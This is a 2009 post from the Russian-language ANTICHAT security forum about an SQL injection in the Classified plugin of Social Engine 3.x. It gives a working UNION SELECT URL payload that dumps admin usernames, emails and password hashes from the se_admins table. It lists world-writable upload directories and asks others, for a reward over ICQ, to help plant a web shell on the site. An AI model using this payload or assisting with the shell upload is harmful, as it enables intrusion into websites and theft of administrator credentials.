Social Engine SQL инекция !

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

Social Engine SQL инекция !

18.01.2009, 16:52

eworld.uz

Познающий

Регистрация: 18.01.2008

Сообщений: 31

Провел на форуме:
114816

Репутация: 13

Отправить сообщение для eworld.uz с помощью ICQ

Social Engine SQL инекция !

В движке Social Engine версия 3.хх на плагине Сlassified есть SQL инекция !

Вот sql инекция :

PHP код:


		
			
http://sitename.ru/browse_classifieds.php?s=classified_date DESC&v=0&classifiedcat_id=-1+UNION SELECT concat(admin_username,admin_email,0x3a,admin_password)

,2,3+from+se_admins

Как залить шелл ? Помогите друзья !

Вот это скрин таблицы se_admins

CHMOD 777 стоит в папках http://sitename.ru/uploads_user

и на http://sitename.ru/include/smarty/templates_c

Помогите друзья залить ШЕЛЛ кто сможет залить шелл стучите плиз на аску 405-801-351 в долгу не останусь